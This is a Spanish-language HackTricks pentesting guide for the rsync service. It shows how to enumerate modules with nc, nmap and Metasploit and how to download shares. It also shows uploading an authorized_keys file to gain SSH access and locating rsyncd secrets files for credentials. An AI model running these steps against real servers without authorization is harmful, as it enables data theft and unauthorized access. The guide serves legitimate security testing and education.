hacktricks/network-services-pentesting/873-pentesting-rsync.md

8 KiB

873 - Pentesting Rsync

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información Básica

rsync es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo y a través de computadoras en red comparando los tiempos de modificación y tamaños de los archivos.[3] Se encuentra comúnmente en sistemas operativos tipo Unix. El algoritmo de rsync es un tipo de codificación delta, y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresión de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.

De wikipedia.

Puerto predeterminado: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeración

Banner y comunicación manual

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerar carpetas compartidas

Un módulo rsync es esencialmente una carpeta compartida. Estos módulos pueden estar protegidos opcionalmente por una contraseña. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Tenga en cuenta que se podría configurar un nombre compartido para que no aparezca en la lista. Por lo tanto, podría haber algo oculto. Tenga en cuenta que puede haber algunos nombres compartidos que se enumeran donde necesita algunas credenciales (diferentes) para acceder. Por lo tanto, no siempre todos los nombres listados van a ser accesibles y lo notará si recibe un mensaje de "Acceso Denegado" al intentar acceder a algunos de estos.

Fuerza bruta

Rsync Manual

Una vez que tenga la lista de módulos, tiene algunas opciones diferentes dependiendo de las acciones que quiera realizar y si se requiere autenticación o no. Si no se requiere autenticación puede listar una carpeta compartida:

rsync -av --list-only rsync://192.168.0.123/shared_name

Y copie todos los archivos a su máquina local mediante el siguiente comando:

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Esta transfiere recursivamente todos los archivos del directorio <shared_name> en la máquina <IP> al directorio ./rsync_shared en la máquina local. Los archivos se transfieren en modo "archivo", lo que asegura que los enlaces simbólicos, dispositivos, atributos, permisos, propiedades, etc. se conserven en la transferencia.

Si tienes credenciales puedes listar/descargar un nombre compartido usando (se pedirá la contraseña):

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

También podrías subir algún contenido usando rsync (por ejemplo, en este caso podemos subir un archivo authorized_keys para obtener acceso a la caja):

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Encuentra el archivo de configuración de rsyncd:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro del archivo de configuración a veces podrías encontrar el parámetro secrets file = /ruta/al/archivo y este archivo podría contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥